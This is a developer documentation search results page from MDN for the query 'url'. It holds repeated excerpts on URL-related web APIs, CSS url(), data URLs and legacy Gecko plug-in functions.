Search completed in 0.99 seconds.
URL.createObjectURL() - Web APIs
the
url.createobject
url() static method creates a domstring containing a
url representing the object given in the parameter. the
url lifetime is tied to the document in the window on which it was created. the new object
url represents the specified file object or blob object. to release an object
url, call revokeobject
url(). note: this feature is available in web workers. note: this feature is not available in service workers due to its potential to create memory leaks. syntax const object
url =
url.createobject
url(object) parameters object a file, blob, or mediasource object to create an object
url for. return value a domstring containing an object
url that can be used to reference the contents of the specified source object. ...
...: this feature is not available in service workers due to its potential to create memory leaks. syntax const object
url =
url.createobject
url(object) parameters object a file, blob, or mediasource object to create an object
url for. return value a domstring containing an object
url that can be used to reference the contents of the specified source object. examples see using object
urls to display images. usage notes memory management each time you call createobject
url(), a new object
url is created, even if you've already created one for the same object. each of these must be released by calling
url.revokeobject
url() when you no longer need them. ...
...e used to reference the contents of the specified source object. examples see using object
urls to display images. usage notes memory management each time you call createobject
url(), a new object
url is created, even if you've already created one for the same object. each of these must be released by calling
url.revokeobject
url() when you no longer need them. browsers will release object
urls automatically when the document is unloaded; however, for optimal performance and memory usage, if there are safe times when you can explicitly unload them, you should do so. using object
urls for media streams in older versions of the media source specification, attaching a stream to a <video> element required creating an object
url for the mediastream. this is no longer necessary, and browse...
...And 2 more matches
browser.urlbar.trimURLs
if the address starts with http:// and neither starts with a ftp. subdomain nor contains @ (usually for ftp login information), the http:// prefix will be hidden. ...
...if the address starts with http:// and neither starts with a ftp. subdomain nor contains @ (usually for ftp login information), the http:// prefix will be hidden. ...
...vel domain will be hidden. if the address starts with http:// and neither starts with a ftp. subdomain nor contains @ (usually for ftp login information), the http:// prefix will be hidden. examples: https://www.example.org/ becomes https://www.example.org, http://www.example.org/foobar becomes www.example.org/foobar and http://ftp.example.org/foobar remains unchanged. false all parts of the
url are shown. ...
URL.revokeObjectURL() - Web APIs
the
url.revokeobject
url() static method releases an existing object
url which was previously created by calling
url.createobject
url(). call this method when you've finished using an object
url to let the browser know not to keep the reference to the file any longer. note: this feature is available in web workers. note: this method is not available from service workers, due to issues with the blob interface's life cycle and the potential for leaks. syntax
url.revokeobject
url(object
url) parameters object
url a domstring representing a object
url that was previously created by calling createobject
url(). examples see using object
urls to display images. ...
...sues with the blob interface's life cycle and the potential for leaks. syntax
url.revokeobject
url(object
url) parameters object
url a domstring representing a object
url that was previously created by calling createobject
url(). examples see using object
urls to display images. specification specification status comment file apithe definition of 'revokeobject
url()' in that specification. working draft initial definition ...
<input type="url"> - HTML: Hypertext Markup Language
<input> elements of type
url are used to let the user enter and edit a
url. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the input value is automatically validated to ensure that it's either empty or a properly-formatted
url before the form can be submitted. the :valid and :invalid css pseudo-classes are automatically applied as appropriate to visually denote whether the current value of the field is a valid
url or not. on browsers that don't support inputs of type
url, a
url input falls back to being a standard text input. ...
...t it's either empty or a properly-formatted
url before the form can be submitted. the :valid and :invalid css pseudo-classes are automatically applied as appropriate to visually denote whether the current value of the field is a valid
url or not. on browsers that don't support inputs of type
url, a
url input falls back to being a standard text input. value a domstring representing a
url, or empty events change and input supported common attributes autocomplete, list, maxlength, minlength, pattern, placeholder, readonly, required and size idl attributes list, value, selectionend, selectiondirection methods select(), setrangetext() and setselectionrange(). value the <input> element's value attribute contains a domstring which...
...t supported common attributes autocomplete, list, maxlength, minlength, pattern, placeholder, readonly, required and size idl attributes list, value, selectionend, selectiondirection methods select(), setrangetext() and setselectionrange(). value the <input> element's value attribute contains a domstring which is automatically validated as conforming to
url syntax. more specifically, there are two possible value formats that will pass validation: an empty string ("") indicating that the user did not enter a value or that the value was removed. a single properly-formed absolute
url. this doesn't necessarily mean the
url address exists, but it is at least formatted correctly. in simple terms, this means
urlscheme://restof
url. see validation for ...
...And 45 more matches
URLs - Plugins
« previousnext » this chapter describes retrieving
urls and displaying them on specified target pages, posting data to an http server, uploading files to an ftp server, and sending mail. uniform resource locator (
url) protocols provide a means for locating and accessing resources that are available on the internet and on intranets. plug-ins can request and receive the data associated with
urls of any type that the browser can handle, including http, ftp, news, mailto, and gopher. the table below summarizes
urls supported by gecko. in addition, gecko may support
urls not listed on this table.
url scheme description about locates browser information or "fun" pages. file (host-specific filenames) locates files on a specific host computer rather...
...uter rather than an internet resource. ftp (file transfer protocol) locates files and directories on internet hosts for file download. gopher (gopher protocol) locates specified items on a gopher server. obsolete since gecko 2.0 http (hypertext transfer protocol) locates resources on the internet. javascript executes javascript code that follows the
url. netscape-specific. mailto (electronic mail address) locates the internet mailing address of an individual or service. nethelp displays a nethelp topic in a nethelp window. browser-specific. news (usenet news) locates usenet news groups or individual usenet articles. nntp (usenet news using nntp access) locates usenet news groups or individual usene...
...locates usenet news groups or individual usenet articles; alternate to news. prospero (prospero directory service) locates a resource on a prospero directory server. telnet (reference to interactive sessions) locates an interactive service. wais (wide area information servers) locates wais databases and their documents. wysiwyg placed before another
url; displays a page that javascript has updated using document.write. for more information, see rfc 3986, "uniform resource identifier (uri): generic syntax", and the iana uri scheme registry. getting
urls posting
urls getting
urls to retrieve a
url and display it on a specified target page, use the npn_get
url, npn_get
urlnotify, and npp_
urlnotify functions. this section describes the m...
...And 31 more matches
url() - CSS: Cascading Style Sheets
the
url() css function is used to include a file. the parameter is an absolute
url, a relative
url, or a data uri. the
url() function can be passed as a parameter of another css functions, like the attr() function. depending on the property for which it is a value, the resource sought can be an image, font, or a stylesheet. the
url() functional notation is the value for the <
url> data type. ...
...function is used to include a file. the parameter is an absolute
url, a relative
url, or a data uri. the
url() function can be passed as a parameter of another css functions, like the attr() function. depending on the property for which it is a value, the resource sought can be an image, font, or a stylesheet. the
url() functional notation is the value for the <
url> data type. ...
...ameter is an absolute
url, a relative
url, or a data uri. the
url() function can be passed as a parameter of another css functions, like the attr() function. depending on the property for which it is a value, the resource sought can be an image, font, or a stylesheet. the
url() functional notation is the value for the <
url> data type. ...
...And 22 more matches
What is a URL? - Learn web development
this article discusses uniform resource locators (
urls), explaining what they are and how they're structured. prerequisites: you need to first know how the internet works, what a web server is and the concepts behind links on the web. objective: you will learn what a
url is and how it works on the web. summary with hypertext and http,
url is one of the key concepts of the web. it is the mechanism used by browsers to retrieve any published resource on the web.
url stands for uniform resource locator. a
url is nothing more than the address of a given unique resource on the web. in theory, each valid
url points to a unique resource. such resources can be an html page, a css document, an image, etc. in practice, there are some exceptions, the most commo...
... the web. it is the mechanism used by browsers to retrieve any published resource on the web.
url stands for uniform resource locator. a
url is nothing more than the address of a given unique resource on the web. in theory, each valid
url points to a unique resource. such resources can be an html page, a css document, an image, etc. in practice, there are some exceptions, the most common being a
url pointing to a resource that no longer exists or that has moved. as the resource represented by the
url and the
url itself are handled by the web server, it is up to the owner of the web server to carefully manage that resource and its associated
url. ...
...ere are some exceptions, the most common being a
url pointing to a resource that no longer exists or that has moved. as the resource represented by the
url and the
url itself are handled by the web server, it is up to the owner of the web server to carefully manage that resource and its associated
url. active learning there is no active learning available yet. deeper dive basics: anatomy of a
url here are some examples of
urls: https://developer.mozilla.org https://developer.mozilla.org/docs/learn/ https://developer.mozilla.org/search?q=
url any of those
urls can be typed into your browser's address bar to tell it to load the associated page (resource). a
url is composed of different parts, some mandatory and others optional. ...
...And 19 more matches
URIs and URLs - Archive of obsolete content
corresponds---changes over time, provided that the conceptual mapping is not changed in the process. identifier an identifier is an object that can act as a reference to something that has identity. in the case of uri, the object is a sequence of characters with a restricted syntax. a uri can be further classified as a locator, a name, or both. ...
...or" (
url) refers to the subset of uri that identify resources via a representation of their primary access mechanism (e.g., their network "location"), rather than identifying the resource by name or by some other attribute(s) of that resource. ... the uri scheme defines the namespace of the uri, and thus may further restrict the syntax and semantics of identifiers using that scheme. although many
url schemes are named after protocols, this does not imply that the only way to access the
url's resource is via the named protocol. ...
...in necko every uri scheme is represented by a protocol handler. sometimes a protocol handler represents more than one scheme. ...
...And 18 more matches
URL API - Web APIs
the
url api is a component of the
url standard, which defines what constitutes a valid uniform resource locator and the api that accesses and manipulates
urls. the
url standard also defines concepts such as domains, hosts, and ip addresses, and also attempts to describe in a standard way the legacy application/x-www-form-
urlencoded mime type used to submit web forms' contents as a set of key/value pairs.
url concepts and usage the majority of the
url standard is taken up by the definition of a
url and how it is structured and parsed. also covered are definitions of various terms related to addressing of computers on a network, and the algorithms for parsing ip addresses and dom addresses are specified. more interesting to most developers is the api itself. ...
...s a set of key/value pairs.
url concepts and usage the majority of the
url standard is taken up by the definition of a
url and how it is structured and parsed. also covered are definitions of various terms related to addressing of computers on a network, and the algorithms for parsing ip addresses and dom addresses are specified. more interesting to most developers is the api itself. accessing
url components creating an
url object for a given
url parses the
url and provides quick access to its constituent parts through its properties. let addr = new
url("/docs/web/api/
url_api"); let host = addr.host; let path = addr.pathname; the snippet above creates a
url object for the article you're reading right now, then fetches the host and pathname properties. in this case, those strings are de...
...r a given
url parses the
url and provides quick access to its constituent parts through its properties. let addr = new
url("/docs/web/api/
url_api"); let host = addr.host; let path = addr.pathname; the snippet above creates a
url object for the article you're reading right now, then fetches the host and pathname properties. in this case, those strings are developer.mozilla.org and /docs/web/api/
url_api, respectively. changing the
url most of the properties of
url are settable; you can write new values to them to alter the
url represented by the object. ...
...And 15 more matches
url - Archive of obsolete content
experimental construct, validate, and parse
urls. globals constructors
url(source, base) the
url constructor creates an object that represents a
url, verifying that the provided string is a valid
url in the process. any api in the sdk which has a
url parameter will accept
url objects, not raw strings, unless otherwise noted. parameters source : string a string to be converted into a
url. if source is not a valid uri, this constructor will throw an exception. base : string an optional string used to resolve relative source
urls into absolute ones. data
url(uri) the data
url constructor creates an object that represents a data:
url, verifying that the provided string is a valid data:
url in the process. parameters uri : string a string to be parsed as data
url. if is not a valid...
... base : string an optional string used to resolve relative source
urls into absolute ones. data
url(uri) the data
url constructor creates an object that represents a data:
url, verifying that the provided string is a valid data:
url in the process. parameters uri : string a string to be parsed as data
url. if is not a valid uri, this constructor will throw an exception. functions tofilename(
url) attempts to convert the given
url to a native file path. this function will automatically attempt to resolve non-file protocols, such as the resource: protocol, to their place on the file system. an exception is raised if the
url can't be converted; otherwise, the native file path is returned as a string. parameters
url : string the
url, as a string, to be converted. returns string : the c...
... isvaliduri(uri) checks the validity of a uri. ...
...And 13 more matches
NPP_URLNotify - Archive of obsolete content
reason reason code for completion of request. values: npres_done (most common): completed normally. ...
... reason reason code for completion of request. values: npres_done (most common): completed normally. ...
... reason reason code for completion of request. values: npres_done (most common): completed normally. ...
...And 12 more matches
URLSearchParams.set() - Web APIs
the set() method of the
urlsearchparams interface sets the value associated with a given search parameter to the given value. if there were several matching values, this method deletes the others. if the search parameter doesn't exist, this method creates it. note: this feature is available in web workers. syntax
urlsearchparams.set(name, value) parameters name the name of the parameter to set. value the value of the parameter to set. return value void. examples let's start with a simple example: let
url = new
url('https://example.com?foo=1&bar=2'); let params = new
urlsearchparams(
url.search.slice(1)); //add a third parameter. ...
... you can copy and paste the example in a code environment like codepen, jsfiddle, or the multi-line javascript interpreter in firefox. ...
... you can copy and paste the example in a code environment like codepen, jsfiddle, or the multi-line javascript interpreter in firefox. line #41: comment out this line to stop dumping the search parameters to the console (debug). line #43: dumps the generated object and it's string representation to the console (info). ...
...And 11 more matches
URLSearchParams - Web APIs
the
urlsearchparams interface defines utility methods to work with the query string of a
url. an object implementing
urlsearchparams can directly be used in a for...of structure, for example the following two lines are equivalent: for (const [key, value] of mysearchparams) {} for (const [key, value] of mysearchparams.entries()) {} note: this feature is available in web workers. constructor
urlsearchparams() returns a
urlsearchparams object instance. methods
urlsearchparams.append() appends a specified key/value pair as a new search parameter.
urlsearchparams.delete() deletes the given search parameter, and its associated value, from the list of all search parameters. ...
...y, value] of mysearchparams.entries()) {} note: this feature is available in web workers. constructor
urlsearchparams() returns a
urlsearchparams object instance. methods
urlsearchparams.append() appends a specified key/value pair as a new search parameter.
urlsearchparams.delete() deletes the given search parameter, and its associated value, from the list of all search parameters.
urlsearchparams.entries() returns an iterator allowing iteration through all key/value pairs contained in this object.
urlsearchparams.foreach() allows iteration through all values contained in this object via a callback function. ...
...ue pair as a new search parameter.
urlsearchparams.delete() deletes the given search parameter, and its associated value, from the list of all search parameters.
urlsearchparams.entries() returns an iterator allowing iteration through all key/value pairs contained in this object.
urlsearchparams.foreach() allows iteration through all values contained in this object via a callback function.
urlsearchparams.get() returns the first value associated with the given search parameter.
urlsearchparams.getall() returns all the values associated with a given search parameter.
urlsearchparams.has() returns a boolean indicating if such a given parameter exists.
urlsearchparams.keys() returns an iterator allowing iteration through all keys of the key/value pairs contained in this object. ur...
...And 11 more matches
Modifying Web Pages Based on URL - Archive of obsolete content
to follow this tutorial you'll need to have learned the basics of jpm. to modify any pages that match a particular pattern (for example, "http://example.org/") as they are loaded, use page-mod module. to create a page-mod, you need to specify two things: one or more content scripts to run whose job is to interact with web content. one or more patterns to match
urls for the pages you want to modify. ...
...hat match a particular pattern (for example, "http://example.org/") as they are loaded, use page-mod module. to create a page-mod, you need to specify two things: one or more content scripts to run whose job is to interact with web content. one or more patterns to match
urls for the pages you want to modify. ...
...t scripts to run whose job is to interact with web content. one or more patterns to match
urls for the pages you want to modify. a simple code snippet where content script is supplied as contentscript option and
url pattern is given as include option is as follows: // import the page-mod api var pagemod = require("sdk/page-mod"); // create a page-mod // it will run a script whenever a ".org"
url is loaded // the script replaces the page contents with a message pagemod.pagemod({ include: "*.org", contentscript: 'document.body.innerhtml = ' + ' "<h1>page matches ruleset</h1>";' }); do as follows: create a new directory and navigate to it. run jpm init, accepting all the defaults open the file index.js and add the code above run jpm run open ietf.org in the bro...
...And 10 more matches
NPN_GetURL - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary asks the browser to create a stream for the specified
url. syntax #include <npapi.h> nperror npn_get
url(npp instance, const char*
url, const char* target); parameters the function has the following parameters: instance pointer to the current plug-in instance.
url pointer to the
url of the request. can be of any type, such as http, ftp, news, or mailto. target name of the target window or frame, or one of the following special target names. values: _blank or _new: load the link in a new blank unnamed window. safest target, even though, when used with a mailto or news
url, this creates an extra blank the browser instance. _self or _current: load ...
... _parent: load the link into the immediate <frameset> parent of the plug-in instance's document. if the plug-in instance's document has no parent, the default is _self. _top: load the link into the plug-in instance window. ...
.... if the plug-in instance's document has no parent, the default is _self. _top: load the link into the plug-in instance window. the default is _self, if the plug-in instance's document is already at the top. use for breaking out of a deep frame nesting. if the target is null, the browser creates a new stream and delivers the data to the current instance regardless of the mime type of the
url. in general, if a
url works in the location box of the browser, it works here, except for the _self target. returns if successful, the function returns nperr_no_error. if unsuccessful, the plug-in is not loaded and the function returns an error code. for possible values, see error codes. description npn_get
url() is used to load a
url into the current window or another target or stream. plug-i...
...And 9 more matches
Event.msConvertURL() - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the msconvert
url method instructs the html paste operation on how to modify the src attribute that corresponds to each file in the clipboarddata.files collection, allowing otherwise inaccessible files to be converted to blob or data uris. this proprietary method is specific to internet explorer and the microsoft edge browser. syntax var retval = dragevent.msconvert
url(file, targettype, target
url); parameters file [in] type: file the file object to be converted. targettype [in] type: domstri...
... return value this method does not return a value. ...
... return value this method does not return a value. ...
...And 9 more matches
<url> - CSS: Cascading Style Sheets
this change was not only awkward but, debatably, unnecessary, since urns are almost never used in actual css. ...
...this change was not only awkward but, debatably, unnecessary, since urns are almost never used in actual css. ...
...this change was not only awkward but, debatably, unnecessary, since urns are almost never used in actual css. ...
...And 9 more matches
The Chrome URL - Archive of obsolete content
« previousnext » the following section will describe how to refer to xul documents and other chrome files. the chrome
url xul files can be referenced with a regular http
url (or any type of
url) just like html files. however, packages that are installed into mozilla's chrome system can be referenced with special chrome
urls. the packages included with mozilla will already be installed but you can register your own. installed packages have the advantage that they don't have security restrictions placed on them, which is necessary for many applications. ...
...mozilla will take care of determining where the file is located and return the right data. ...
...mozilla will take care of determining where the file is located and return the right data. ...
...And 8 more matches
NPN_GetURLNotify - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api summary requests creation of a new stream with the contents of the specified
url; gets notification of the result. syntax #include <npapi.h> nperror npn_get
urlnotify(npp instance, const char*
url, const char* target, void* notifydata); parameters the function has the following parameters: instance pointer to the current plug-in instance.
url pointer to the
url of the request. can be of any type, such as http, ftp, news, or mailto. ...
... const char* target, void* notifydata); parameters the function has the following parameters: instance pointer to the current plug-in instance.
url pointer to the
url of the request. can be of any type, such as http, ftp, news, or mailto. target name of the target window or frame, or one of several special target names. for values, see npn_get
url(). notifydata plug-in-private value for associating the request with the subsequent npp_
urlnotify() call, which passes this value (see description below). ...
...names. for values, see npn_get
url(). notifydata plug-in-private value for associating the request with the subsequent npp_
urlnotify() call, which passes this value (see description below). returns if successful, the function returns nperr_no_error. if unsuccessful, the plug-in is not loaded and the function returns an error code. for possible values, see error codes. description npn_get
urlnotify() works just like npn_get
url(), with one exception: npn_get
urlnotify() notifies the plug-in instance upon successful or unsuccessful completion of the request by calling the plug-in's npp_
urlnotify() function and passing it the notifydata value. npn_get
urlnotify() typically handles the
url request asynchronously. ...
...And 8 more matches
URL - Web APIs
the
url interface is used to parse, construct, normalize, and encode
urls. it works by providing properties which allow you to easily read and modify the components of a
url. you normally create a new
url object by specifying the
url as a string when calling its constructor, or by providing a relative
url and a base
url. you can then easily read the parsed components of the
url or make changes to the
url. if a browser doesn't yet support the
url() constructor, you can access a
url object using the window interface's window.
url property. be sure to check to see if any of your target browsers require this to be prefixed. note: this feature is available in web workers. ...
...ative
url and a base
url. you can then easily read the parsed components of the
url or make changes to the
url. if a browser doesn't yet support the
url() constructor, you can access a
url object using the window interface's window.
url property. be sure to check to see if any of your target browsers require this to be prefixed. note: this feature is available in web workers. constructor new
url() creates and returns a
url object referencing the
url specified using an absolute
url string, or a relative
url string and a base
url string. properties hash a usvstring containing a '#' followed by the fragment identifier of the
url. host a usvstring containing the domain (that is the hostname) followed by (if a port was specified) a ':' and the port of the
url. hostname a usvstring ...
... object referencing the
url specified using an absolute
url string, or a relative
url string and a base
url string. properties hash a usvstring containing a '#' followed by the fragment identifier of the
url. host a usvstring containing the domain (that is the hostname) followed by (if a port was specified) a ':' and the port of the
url. hostname a usvstring containing the domain of the
url. href a stringifier that returns a usvstring containing the whole
url. origin read only returns a usvstring containing the origin of the
url, that is its scheme, its domain and its port. password a usvstring containing the password specified before the domain name. pathname a usvstring containing an initial '/' followed by the path of the
url. port a usvstring containing the port numbe...
...And 8 more matches
Document.URL - Web APIs
living standard defines that the property is a usvstring instead of a domstring. ...
... living standard defines that the property is a usvstring instead of a domstring. ...
... living standard defines that the property is a usvstring instead of a domstring. ...
...And 7 more matches
HTMLCanvasElement.toDataURL() - Web APIs
the default format type is image/png. ...
...ype parameter (defaults to png). the returned image is in a resolution of 96 dpi. if the height or width of the canvas is 0 or larger than the maximum canvas size, the string "data:," is returned. if the requested type is not image/png, but the returned value starts with data:image/png, then the requested type is not supported. chrome also supports the image/webp type. syntax canvas.todata
url(type, encoderoptions); parameters type optional a domstring indicating the image format. the default format type is image/png. encoderoptions optional a number between 0 and 1 indicating the image quality to use for image formats that use lossy compression such as image/jpeg and image/webp. if this argument is anything else, the default value for image quality is used. the default value ...
...ments are ignored. return value a domstring containing the requested data uri. exceptions securityerror the canvas's bitmap is not origin clean; at least some of its contents have or may have been loaded from a site other than the one from which the document itself was loaded. ...
...And 7 more matches
URL() - Web APIs
the
url() constructor returns a newly created
url object representing the
url defined by the parameters. if the given base
url or the resulting
url are not valid
urls, the javascript typeerror exception is thrown. note: this feature is available in web workers. syntax const
url = new
url(
url [, base]) parameters
url a usvstring representing an absolute or relative
url. if
url is a relative
url, base is required, and will be used as the base
url. if
url is an absolute
url, a given base will be ignored. base optional a usvstring representing the base
url to use in case
url is a relative
url. if not specified, it defaults to ''. note: you can still use an existing
url object for the base, which stringifies itself to the object's href property. exceptions exception ...
...ed as the base
url. if
url is an absolute
url, a given base will be ignored. base optional a usvstring representing the base
url to use in case
url is a relative
url. if not specified, it defaults to ''. note: you can still use an existing
url object for the base, which stringifies itself to the object's href property. exceptions exception explanation typeerror
url (in the case of absolute
urls) or base +
url (in the case of relative
urls) is not a valid
url. ...
...e
url to use in case
url is a relative
url. if not specified, it defaults to ''. note: you can still use an existing
url object for the base, which stringifies itself to the object's href property. exceptions exception explanation typeerror
url (in the case of absolute
urls) or base +
url (in the case of relative
urls) is not a valid
url. ...
...And 7 more matches
URL.toString() - Web APIs
living standard initial definition. ...
... living standard initial definition. ...
... living standard initial definition. ...
...And 7 more matches
Data URLs - HTTP
data
urls,
urls prefixed with the data: scheme, allow content creators to embed small files inline in documents. they were formerly known as "data uris" until that name was retired by the whatwg. note: data
urls are treated as unique opaque origins by modern browsers, rather than inheriting the origin of the settings object responsible for the navigation. syntax data
urls are composed of four parts: a prefix (data:), a mime type indicating the type of data, an optional base64 token if non-textual, and the data itself: data:[<mediatype>][;base64],<data> the mediatype is a mime type string, such as 'image/jpeg' for a jpeg image file. if omitted, defaults to text/plain;charset=us-ascii if the data is textual, you can simply embed the text (using the appropriate entities or escapes base...
...lts to text/plain;charset=us-ascii if the data is textual, you can simply embed the text (using the appropriate entities or escapes based on the enclosing document's type). otherwise, you can specify base64 to embed base64-encoded binary data. you can find more info on mime types here and here. a few examples: data:,hello%2c%20world! simple text/plain data. note the use of percent-encoding (
url-encoding) for the quote and space characters. also, for csv data (mime type "text/csv"), percent-encoding is needed to preserve the line endings that delimit rows of the spreadsheet. data:text/plain;base64,sgvsbg8sifdvcmxkiq== base64-encoded version of the above data:text/html,%3ch1%3ehello%2c%20world!%3c%2fh1%3e an html document with <h1>hello, world!</h1> data:text/html,<script>alert('hi')...
...:text/html,<script>alert('hi');</script> an html document that executes a javascript alert. note that the closing script tag is required. encoding data into base64 format base64 is a group of binary-to-text encoding schemes that represent binary data in an ascii string format by translating it into a radix-64 representation. by consisting only in ascii characters, base64 strings are generally
url-safe, and that's why they can be used to encode data in data
urls. encoding in javascript the web apis have native methods to encode or decode to base64: base64 encoding and decoding. encoding on a unix system base64 encoding of a file or string on linux and mac os x systems can be achieved using the command-line base64 (or, as an alternative, the uuencode utility with -m argument). echo -n ...
...And 7 more matches
nsIURL
netwerk/base/public/nsi
url.idlscriptable this interface provides convenience methods that further break down the path portion of nsiuri. ...
...ebasename.fileextension#ref http://host/directory/filebasename.fileextension;param \ \ / \ ----------------------- \ | / \ filename / ---------------------------- | filepath you can get a nsi
url from an nsiuri, using the queryinterface() method: var myuri = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice) .newuri("http://developer.mozilla.org", null, null); try { var my
url = myuri.queryinterface(components.interfaces.nsi
url); } catch(e) { // the uri is not an
url } or using instanceof:...
...hod: var myuri = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice) .newuri("http://developer.mozilla.org", null, null); try { var my
url = myuri.queryinterface(components.interfaces.nsi
url); } catch(e) { // the uri is not an
url } or using instanceof: if (myuri instanceof components.interfaces.nsi
url) { // your code here } method overview autf8string getcommonbasespec(in nsiuri auritocompare); autf8string getrelativespec(in nsiuri auritocompare); attributes attribute type description directory autf8string directory portion of a
url. if the
url denotes a path to a directory and not a file, for example http://host/foo/bar/, then the dire...
...And 6 more matches
URL.host - Web APIs
the host property of the
url interface is a usvstring containing the host, that is the hostname, and then, if the port of the
url is nonempty, a ':', followed by the port of the
url. note: this feature is available in web workers. syntax const host =
url.host
url.host = newhost value a usvstring. ...
... the host property of the
url interface is a usvstring containing the host, that is the hostname, and then, if the port of the
url is nonempty, a ':', followed by the port of the
url. note: this feature is available in web workers. syntax const host =
url.host
url.host = newhost value a usvstring. ...
... the host property of the
url interface is a usvstring containing the host, that is the hostname, and then, if the port of the
url is nonempty, a ':', followed by the port of the
url. note: this feature is available in web workers. syntax const host =
url.host
url.host = newhost value a usvstring. ...
...And 5 more matches
NPN_PostURLNotify - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary posts data to a
url, and receives notification of the result. syntax #include <npapi.h> nperror npn_post
urlnotify(npp instance, const char*
url, const char* target, uint32 len, const char* buf, npbool file, void* notifydata); parameters the function has the following parameters: instance current plug-in instance, specified by the plug-in.
url url of the post request, specified by the plug-in. target target window, specified by the plug-in. for values, see npn_get
url. len length of t...
...f the buffer buf. buf path to local temporary file or data buffer that contains the data to post. file whether to post a file. values: true: post the local file whose path is specified in buf, then delete the file. false: post the raw data in buf. ...
...e raw data in buf. notifydata plug-in-private value for associating the request with the subsequent npp_
urlnotify call, which returns this value (see description below). returns if successful, the function returns nperr_no_error. if unsuccessful, the plug-in is not loaded and the function returns an error code. for possible values, see error codes. description npn_post
urlnotify functions identically to npn_post
url, with these exceptions: npn_post
urlnotify supports specifying headers when posting a memory buffer. npn_post
urlnotify calls npp_
urlnotify upon successful or unsuccessful completion of the request. ...
...And 4 more matches
nsIStandardURL
netwerk/base/public/nsistandard
url.idlscriptable this interface defines the interface to an
url with the standard file path format common to protocols like http, ftp, and file. it supports initialization from a relative path and provides some customization on how
urls are normalized. inherits from: nsimutable last changed in gecko 1.9 (firefox 3) implemented by: @mozilla.org/network/standard-
url;1. ...
... this interface defines the interface to an
url with the standard file path format common to protocols like http, ftp, and file. it supports initialization from a relative path and provides some customization on how
urls are normalized. inherits from: nsimutable last changed in gecko 1.9 (firefox 3) implemented by: @mozilla.org/network/standard-
url;1. to create an instance, use: var standard
url = components.classes["@mozilla.org/network/standard-
url;1"] .createinstance(components.interfaces.nsistandard
url); method overview void init(in unsigned long a
urltype, in long adefaultport, in autf8string aspec, in string aorigincharset, in nsiuri abaseuri); attributes attribute type description mutable boolean control whether or not this
url can be modified. protoco...
...d-
url;1"] .createinstance(components.interfaces.nsistandard
url); method overview void init(in unsigned long a
urltype, in long adefaultport, in autf8string aspec, in string aorigincharset, in nsiuri abaseuri); attributes attribute type description mutable boolean control whether or not this
url can be modified. protocol handlers can set this flag before handing out an
url to ensure that it is not inadvertently modified. obsolete since gecko 1.9 constants these constants describe how to normalize an
url. ...
...And 4 more matches
RTCIceServers.urls - Web APIs
the rtciceserver dictionary's
urls property specifies the
url or
urls of the servers to be used for ice negotiations. these are typically stun and/or turn servers. syntax var iceserver = {
urls = iceserver
url | [
url1, ...,
urln ], username: "webrtc", // optional credential: "turnpassword" // optional }; iceservers.push(iceserver); the value of this property may be specified as a single
url or as an array of multiple
urls. examples let's look a few examples of varying complexity. a single ice server this example creates a new rtcpeerconnection which will use a stun server at stunserver.example.org to negotiate connections. ...
...eservers.push(iceserver); the value of this property may be specified as a single
url or as an array of multiple
urls. examples let's look a few examples of varying complexity. a single ice server this example creates a new rtcpeerconnection which will use a stun server at stunserver.example.org to negotiate connections. mypeerconnection = new rtcpeerconnection({ iceservers: [ {
urls: "stun:stunserver.example.org" } ] }); notice that only the
urls property is provided; the stun server doesn't require authentication, so this is all that's needed. a single ice server with authentication the second example creates a new rtcpeerconnection which will use a turn server at turnserver.example.org to negotiate connections. logging into the turn server will use the username "...
...quire authentication, so this is all that's needed. a single ice server with authentication the second example creates a new rtcpeerconnection which will use a turn server at turnserver.example.org to negotiate connections. logging into the turn server will use the username "webrtc" and the creative password "turnpassword". mypeerconnection = new rtcpeerconnection({ iceservers: [ {
urls: "turn:turnserver.example.org", username: "webrtc", credential: "turnpassword" } ] }); a single ice server with multiple
urls the next example creates a new rtcpeerconnection which will use a single turn server which has multiple
urls. this is useful if the server is, for example, available both on "turn" and "turns" schemes, or if there's a fallback address available for the...
...And 4 more matches
RTCIdentityErrorEvent.loginUrl - Web APIs
the read-only property rtcidentityerrorevent.login
url is a domstring giving the
url where the user can complete the authentication. it can be null and is provided by the identity provider (idp). firefox implements the interface of this property under the following name: rtcpeerconnectionidentityerrorevent. it is likely that it will correct this name when it will unprefix rtcpeerconnection, once spec and implementation will have been stabilized. ...
...iving the
url where the user can complete the authentication. it can be null and is provided by the identity provider (idp). firefox implements the interface of this property under the following name: rtcpeerconnectionidentityerrorevent. it is likely that it will correct this name when it will unprefix rtcpeerconnection, once spec and implementation will have been stabilized. ...
...re the user can complete the authentication. it can be null and is provided by the identity provider (idp). firefox implements the interface of this property under the following name: rtcpeerconnectionidentityerrorevent. it is likely that it will correct this name when it will unprefix rtcpeerconnection, once spec and implementation will have been stabilized. ...
...And 4 more matches
URLSearchParams() - Web APIs
the
urlsearchparams() constructor creates and returns a new
urlsearchparams object. note: this feature is available in web workers. syntax var
urlsearchparams = new
urlsearchparams(init); parameters init optional one of: a usvstring, which will be parsed from application/x-www-form-
urlencoded format. a leading '?' character is ignored. a sequence of usvstring pairs, representing names/values. a record of usvstring keys and usvstring values. return value a
urlsearchparams object instance. examples the following example shows how to create a
urlsearchparams object from a
url string. ...
... a usvstring, which will be parsed from application/x-www-form-
urlencoded format. a leading '?' character is ignored. a sequence of usvstring pairs, representing names/values. a record of usvstring keys and usvstring values. return value a
urlsearchparams object instance. examples the following example shows how to create a
urlsearchparams object from a
url string. ...
...ed from application/x-www-form-
urlencoded format. a leading '?' character is ignored. a sequence of usvstring pairs, representing names/values. a record of usvstring keys and usvstring values. return value a
urlsearchparams object instance. examples the following example shows how to create a
urlsearchparams object from a
url string. ...
...And 4 more matches
Choosing between www and non-www URLs - HTTP
this domain name is hosted on a server where the document resides. a server isn't necessarily a physical machine: several servers can reside on the same physical machine. or, one server can be handled by several machines, cooperating to produce the answer or balancing the load of the requests between them. the key point is that semantically one domain name represents one single server. ...
